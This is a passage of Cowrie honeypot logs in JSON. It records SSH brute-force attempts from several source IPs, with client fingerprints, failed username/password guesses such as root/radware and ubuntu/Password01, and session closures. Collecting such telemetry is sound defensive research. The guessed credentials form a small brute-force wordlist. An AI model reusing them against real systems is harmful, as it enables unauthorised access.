bc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:13:26.960183Z","src_ip":"50.116.72.139","session":"7403f36faba2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"radware","message":"login attempt [root/radware] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:13:27.092687Z","src_ip":"50.116.72.139","session":"7403f36faba2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:13:28.122666Z","src_ip":"50.116.72.139","session":"7403f36faba2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":35990,"dst_ip":"10.17.0.5","dst_port":22,"session":"95c510fe2ebd","protocol":"ssh","message":"New connection: 94.159.98.239:35990 (10.17.0.5:22) [session: 95c510fe2ebd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:13:50.903285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:13:50.958730Z","src_ip":"94.159.98.239","session":"95c510fe2ebd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:13:51.054585Z","src_ip":"94.159.98.239","session":"95c510fe2ebd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"killkill","message":"login attempt [root/killkill] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:13:51.530773Z","src_ip":"94.159.98.239","session":"95c510fe2ebd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:13:52.662021Z","src_ip":"94.159.98.239","session":"95c510fe2ebd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.243.191.141","src_port":18780,"dst_ip":"10.17.0.5","dst_port":22,"session":"62b382b35586","protocol":"ssh","message":"New connection: 180.243.191.141:18780 (10.17.0.5:22) [session: 62b382b35586]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:13:56.124769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:13:56.129808Z","src_ip":"180.243.191.141","session":"62b382b35586","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:13:56.404541Z","src_ip":"180.243.191.141","session":"62b382b35586","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frontend","password":"1","message":"login attempt [frontend/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:13:57.514806Z","src_ip":"180.243.191.141","session":"62b382b35586","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:13:58.785781Z","src_ip":"180.243.191.141","session":"62b382b35586","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":48614,"dst_ip":"10.17.0.5","dst_port":22,"session":"c76ce38cc119","protocol":"ssh","message":"New connection: 103.172.78.219:48614 (10.17.0.5:22) [session: c76ce38cc119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:14:09.207069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:14:09.215039Z","src_ip":"103.172.78.219","session":"c76ce38cc119","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:14:09.461222Z","src_ip":"103.172.78.219","session":"c76ce38cc119","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11121986","message":"login attempt [root/11121986] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:14:10.202925Z","src_ip":"103.172.78.219","session":"c76ce38cc119","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:14:11.458848Z","src_ip":"103.172.78.219","session":"c76ce38cc119","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":42392,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0964ae5cf88","protocol":"ssh","message":"New connection: 103.15.222.183:42392 (159.203.135.109:22) [session: e0964ae5cf88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:14:23.851054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:14:23.856694Z","src_ip":"103.15.222.183","session":"e0964ae5cf88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:14:24.107029Z","src_ip":"103.15.222.183","session":"e0964ae5cf88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"22071986","message":"login attempt [root/22071986] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:14:24.858714Z","src_ip":"103.15.222.183","session":"e0964ae5cf88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.165.238.2","src_port":34016,"dst_ip":"10.17.0.5","dst_port":22,"session":"224de717af1d","protocol":"ssh","message":"New connection: 45.165.238.2:34016 (10.17.0.5:22) [session: 224de717af1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:14:25.153614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:14:25.158693Z","src_ip":"45.165.238.2","session":"224de717af1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:14:25.288080Z","src_ip":"45.165.238.2","session":"224de717af1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Password01","message":"login attempt [ubuntu/Password01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:14:25.838756Z","src_ip":"45.165.238.2","session":"224de717af1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:14:26.110991Z","src_ip":"103.15.222.183","session":"e0964ae5cf88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:14:26.971956Z","src_ip":"45.165.238.2","session":"224de717af1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.72.139","src_port":34334,"dst_ip":"10.17.0.5","dst_port":22,"session":"b55c762c533d","protocol":"ssh","message":"New connection: 50.116.72.139:34334 (10.17.0.5:22) [session: b55c762c533d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:14:31.585979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:14:31.590878Z","src_ip":"50.116.72.139","session":"b55c762c533d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:14:31.616633Z","src_ip":"50.116.72.139","session":"b55c762c533d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Salim123","message":"login attempt [root/Salim123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:14:31.753295Z","src_ip":"50.116.72.139","session":"b55c762c533d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:14:32.782640Z","src_ip":"50.116.72.139","session":"b55c762c533d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.243.191.141","src_port":4211,"dst_ip":"10.17.0.5","dst_port":22,"session":"b908f7223c1d","protocol":"ssh","message":"New connection: 180.243.191.141:4211 (10.17.0.5:22) [session: b908f7223c1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:14:53.562814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:14:53.568393Z","src_ip":"180.243.191.141","session":"b908f7223c1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:14:53.834612Z","src_ip":"180.243.191.141","session":"b908f7223c1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shree","password":"shree","message":"login attempt [shree/shree] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:14:54.911835Z","src_ip":"180.243.191.141","session":"b908f7223c1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":50974,"dst_ip":"159.203.135.109","dst_port":22,"session":"c41ff0486ce5","protocol":"ssh","message":"New connection: 103.27.238.114:50974 (159.203.135.109:22) [session: c41ff0486ce5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:14:55.937705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:14:55.942647Z","src_ip":"103.27.238.114","session":"c41ff0486ce5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:14:56.187204Z","src_ip":"180.243.191.141","session":"b908f7223c1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:14:56.205924Z","src_ip":"103.27.238.114","session":"c41ff0486ce5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"egor2004","message":"login attempt [root/egor2004] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:14:56.999822Z","src_ip":"103.27.238.114","session":"c41ff0486ce5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:14:58.268445Z","src_ip":"103.27.238.114","session":"c41ff0486ce5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":40050,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b367c89be2d","protocol":"ssh","message":"New connection: 171.244.141.86:40050 (10.17.0.5:22) [session: 6b367c89be2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:14:58.555858Z"}
